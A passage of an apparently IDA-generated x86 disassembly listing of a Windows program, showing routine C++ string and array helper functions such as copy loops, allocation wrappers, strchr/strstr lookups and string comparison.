		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4097AB:				; CODE XREF: sub_4096E0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_409809
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4016E0
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_401177
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401FB4
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409809:				; CODE XREF: sub_4096E0+D8j
		test	edi, edi
		jbe	short loc_409843
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4016E0
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_401CDF
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401FB4
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_409843:				; CODE XREF: sub_4096E0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_4096E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4098B0	proc near		; CODE XREF: sub_401717j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_4098D0


loc_4098C1:				; CODE XREF: sub_4098B0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_402090
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_4098C1


loc_4098D0:				; CODE XREF: sub_4098B0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4098B0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4098F0	proc near		; CODE XREF: sub_401294j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4098F0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409910	proc near		; CODE XREF: sub_402090j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_7
		pop	ecx
		retn	4
sub_409910	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409930	proc near		; CODE XREF: sub_4016E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_409962
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_409946:				; CODE XREF: sub_409930+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_4015B4
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_409946
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409962:				; CODE XREF: sub_409930+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409930	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409980	proc near		; CODE XREF: sub_401177j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_4099A7
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_409996:				; CODE XREF: sub_409980+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_4015B4
		add	esi, 4
		dec	edi
		jnz	short loc_409996
		pop	esi
		pop	ebx


loc_4099A7:				; CODE XREF: sub_409980+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_409980	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4099C0	proc near		; CODE XREF: sub_401CC1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402059
sub_4099C0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4099F0	proc near		; CODE XREF: sub_4015B4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401145
		add	esp, 8
		retn	8
sub_4099F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A20	proc near		; CODE XREF: sub_401FB4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_409A3D
		mov	edx, [esp+arg_8]
		push	esi


loc_409A31:				; CODE XREF: sub_409A20+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_409A31
		pop	esi

locret_409A3D:				; CODE XREF: sub_409A20+Aj
		retn
sub_409A20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A50	proc near		; CODE XREF: sub_401CDFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_409A72
		mov	eax, [esp+arg_8]
		push	esi


loc_409A61:				; CODE XREF: sub_409A50+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_409A61
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409A72:				; CODE XREF: sub_409A50+Aj
		mov	eax, [esp+arg_8]
		retn
sub_409A50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409AB0	proc near		; CODE XREF: sub_402059j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_409ABA
		xor	eax, eax


loc_409ABA:				; CODE XREF: sub_409AB0+6j
		shl	eax, 2
		push	eax
		call	sub_437AEA
sub_409AB0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AE0	proc near		; CODE XREF: sub_401145j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_409AFB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_409AFB:				; CODE XREF: sub_409AE0+11j
		retn
sub_409AE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B10	proc near		; CODE XREF: sub_401988j

arg_0		= dword	ptr  4

		mov	al, byte_44915A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409B46
		push	edi
		nop
		call	near ptr 28417ACh
		mov	edi, dword_5118CC
		push	0FFFFFFF5h
		call	edi
		push	0FFFFFFF4h
		mov	[esi], eax
		call	edi
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], eax
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409B46:				; CODE XREF: sub_409B10+Aj
		mov	ecx, [esp+4+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], ecx
		pop	esi
		retn	4
sub_409B10	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B80	proc near		; CODE XREF: sub_401CEEj
		mov	al, byte_44915A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409B9F
		call	near ptr 2841B52h
		nop
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0FFFFFFFFh


loc_409B9F:				; CODE XREF: sub_409B80+Aj
		mov	byte ptr [esi+8], 0
		pop	esi
		retn
sub_409B80	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409BC0	proc near		; CODE XREF: sub_40142Ej
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	off_43F010
		mov	[eax+9], ecx
		mov	[eax+11h], ecx
		mov	[eax+4], cl
		mov	[eax+0Dh], ecx
		retn
sub_409BC0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409BF0:				; CODE XREF: ___:00402081j
					; ___:loc_40218Fj
		push	esi
		mov	esi, ecx
		call	sub_401226
		test	byte ptr [esp+8], 1
		jz	short loc_409C08
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409C08:				; CODE XREF: ___:00409BFDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C20	proc near		; CODE XREF: sub_401870j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43F010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015E1
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409C20	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C60	proc near		; CODE XREF: sub_4014D3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43F010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_401FDC
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409C60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409CA0	proc near		; CODE XREF: sub_402112j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+1Ch+var_10]
		push	offset dword_4447F4
		push	ecx
		mov	dword ptr [esi], offset	off_43F010
		call	sub_5FC011
		nop
		add	esp, 0Ch
		lea	edx, [esp+18h+var_10]
		xor	ebx, ebx
		mov	ecx, esi
		push	edx
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015E1
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn	4
sub_409CA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D10	proc near		; CODE XREF: sub_401226j
		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		mov	eax, [esi+9]
		mov	dword ptr [esi], offset	off_43F010
		cmp	eax, edi
		jz	short loc_409D2C
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D2C:				; CODE XREF: sub_409D10+11j
		mov	eax, [esi+0Dh]
		mov	[esi+9], edi
		cmp	eax, edi
		jz	short loc_409D3F
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D3F:				; CODE XREF: sub_409D10+24j
		mov	[esi+0Dh], edi
		mov	[esi+11h], edi
		pop	edi
		pop	esi
		retn
sub_409D10	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D60	proc near		; CODE XREF: sub_4015E1j

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		test	edi, edi
		jz	short loc_409DCA
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+9]
		not	ecx
		dec	ecx
		test	eax, eax
		mov	ebp, ecx
		jz	short loc_409D8A
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D8A:				; CODE XREF: sub_409D60+1Fj
		lea	ebx, [ebp+2]
		push	ebx
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F8h, 7E89FF85h,	8B2B7409h, 8BC033CBh, 116E89D1h
		dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
		dd 51500956h, 0C9E89052h, 837783DCh
		db 0C4h, 0Ch
; ---------------------------------------------------------------------------


loc_409DCA:				; CODE XREF: sub_409D60+Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409D60	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E00	proc near		; CODE XREF: sub_401FDCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		pop	esi
		retn	4
sub_409E00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409E30:				; CODE XREF: ___:00401A5Aj
		mov	eax, [esp+4]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		push	offset dword_4447F4
		push	ecx
		nop
		call	sub_5FC011
		add	esp, 0Ch
		lea	edx, [esp+4]
		mov	ecx, esi
		push	edx
		call	sub_4015E1
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E80	proc near		; CODE XREF: sub_401AAFj

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebx, ecx
		test	edi, edi
		jz	loc_409F12
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebx+11h]
		not	ecx
		dec	ecx
		mov	esi, ecx
		add	esi, edi
		lea	eax, [esi+1]
		push	eax
		call	sub_437AEA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+9]
		add	esp, 4
		test	edi, edi
		mov	ebp, eax
		jz	short loc_409F12
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+11h], esi
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [esp+10h+arg_0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	edx, ecx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, edx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+9]
		test	eax, eax
		jz	short loc_409F0F
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409F0F:				; CODE XREF: sub_409E80+84j
		mov	[ebx+9], ebp


loc_409F12:				; CODE XREF: sub_409E80+Cj
					; sub_409E80+36j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409E80	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F50	proc near		; CODE XREF: sub_4016C7j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_401AAF
		pop	esi
		retn	4
sub_409F50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F80	proc near		; CODE XREF: sub_401140j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+18h+var_10]
		push	offset dword_4447F4
		push	ecx
		call	sub_5FC011
		nop
		add	esp, 0Ch
		lea	edx, [esp+14h+var_10]
		mov	ecx, esi
		push	edx
		call	sub_401AAF
		pop	esi
		add	esp, 10h
		retn	4
sub_409F80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409FD0	proc near		; CODE XREF: sub_4012EEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_409FE7
		mov	edx, [ecx+9]
		xor	eax, eax
		test	edx, edx
		setnz	al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409FE7:				; CODE XREF: sub_409FD0+7j
		mov	eax, [ecx+9]
		push	ebx


loc_409FEB:				; CODE XREF: sub_409FD0+3Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_40A016
		test	cl, cl
		jz	short loc_40A00F
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_40A016
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_409FEB


loc_40A00F:				; CODE XREF: sub_409FD0+27j
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A016:				; CODE XREF: sub_409FD0+23j
					; sub_409FD0+33j
		sbb	eax, eax
		pop	ebx
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn	4
sub_409FD0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A040	proc near		; CODE XREF: sub_401B86j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_40A040	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A070	proc near		; CODE XREF: sub_40150Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_40A083
		mov	edx, [ecx+9]
		test	edx, edx
		setnz	al
		retn	4
; ---------------------------------------------------------------------------


loc_40A083:				; CODE XREF: sub_40A070+6j
		push	eax
		mov	eax, [ecx+9]
		push	eax
		call	near ptr 77C4624Eh
		nop
		add	esp, 8
		retn	4
sub_40A070	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0B0	proc near		; CODE XREF: sub_4021D0j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_40A0B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0E0	proc near		; CODE XREF: sub_401CD0j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9]
		test	eax, eax
		jz	short loc_40A0F3
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A0F3:				; CODE XREF: sub_40A0E0+8j
		mov	dword ptr [esi+9], 0
		pop	esi
		retn
sub_40A0E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A110	proc near		; CODE XREF: sub_40102Dj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_437B30
		mov	eax, [esp+arg_2004]
		test	eax, eax
		jz	short loc_40A152
		lea	ecx, [esp+arg_2008]
		lea	edx, [esp+0]
		push	ecx
		push	eax
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_4015E1


loc_40A152:				; CODE XREF: sub_40A110+13j
		add	esp, 2000h
		retn
sub_40A110	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A180	proc near		; CODE XREF: sub_401D34j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401316
		retn	4
sub_40A180	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1A0	proc near		; CODE XREF: sub_401316j

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, dword_511AEC
		push	esi
		push	edi
		movsx	edi, [esp+0Ch+arg_0]
		mov	esi, ecx
		push	edi
		mov	eax, [esi+9]
		push	eax
		call	ebx	; strchr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A1C4
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A1C4:				; CODE XREF: sub_40A1A0+1Cj
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strchr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A1A0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1F0	proc near		; CODE XREF: sub_4018B1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401816
		retn	4
sub_40A1F0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A210	proc near		; CODE XREF: sub_401816j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_402135
		pop	esi
		retn	8
sub_40A210	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A240	proc near		; CODE XREF: sub_4013EDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402135
		retn	4
sub_40A240	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A260	proc near		; CODE XREF: sub_402135j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_40A275
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A275:				; CODE XREF: sub_40A260+Bj
		mov	eax, [esi+9]
		mov	ebx, dword_511B04
		push	edi
		push	eax
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A28F
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A28F:				; CODE XREF: sub_40A260+27j
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strstr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A260	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A2D0	proc near		; CODE XREF: sub_401C71j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		test	edi, edi
		jnz	short loc_40A2E3
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A2E3:				; CODE XREF: sub_40A2D0+Aj
		mov	eax, [esi+9]
		mov	[esi+11h], edi
		test	eax, eax
		jz	short loc_40A2F6
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A2F6:				; CODE XREF: sub_40A2D0+1Bj
		push	ebx
		lea	ebx, [edi+1]
		push	ebx
		call	sub_437AEA
sub_40A2D0	endp

; ---------------------------------------------------------------------------
		mov	ecx, ebx
		mov	edi, eax
		mov	edx, ecx
		xor	eax, eax
		shr	ecx, 2
		mov	[esi+9], edi
		add	esp, 4
		rep stosd
		mov	ecx, edx
		pop	ebx
		and	ecx, 3
		rep stosb
		mov	eax, [esi+9]
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A350	proc near		; CODE XREF: sub_4013E3j
		mov	eax, [ecx+11h]
		retn
sub_40A350	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A370	proc near		; CODE XREF: sub_4012B2j

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A370
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebp
		mov	ebp, [esp+30h+arg_8]
		push	esi
		xor	esi, esi
		cmp	ebp, 1
		mov	[esp+34h+var_2C], ecx
		mov	[esp+34h+var_28], esi
		jge	short loc_40A3C2
		mov	esi, [esp+34h+arg_0]
		push	offset byte_448F30
		mov	ecx, esi
		call	sub_401870
		mov	eax, esi
		pop	esi
		pop	ebp
		mov	ecx, [esp+2Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A3C2:				; CODE XREF: sub_40A370+2Bj
		push	ebx
		push	edi
		lea	ecx, [esp+3Ch+var_24]
		call	sub_40142E
		mov	[esp+3Ch+var_4], esi
		lea	esi, [ebp+1]
		push	esi
		call	sub_437AEA
sub_40A370	endp

; ---------------------------------------------------------------------------
		mov	ecx, esi
		mov	ebx, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		add	esp, 4
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		mov	edx, [esp+44h]
		and	ecx, 3
		push	ebx
		rep stosb
		mov	eax, [esp+14h]
		mov	ecx, ebp
		mov	edi, ebx
		mov	esi, [eax+9]
		add	esi, edx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+1Ch]
		call	sub_4015E1
		push	ebx
		call	sub_437AD2
; ---------------------------------------------------------------------------
		mov	esi, [esp+44h]
		add	esp, 4
		lea	eax, [esp+18h]
		mov	ecx, esi
		push	eax
		call	sub_4014D3
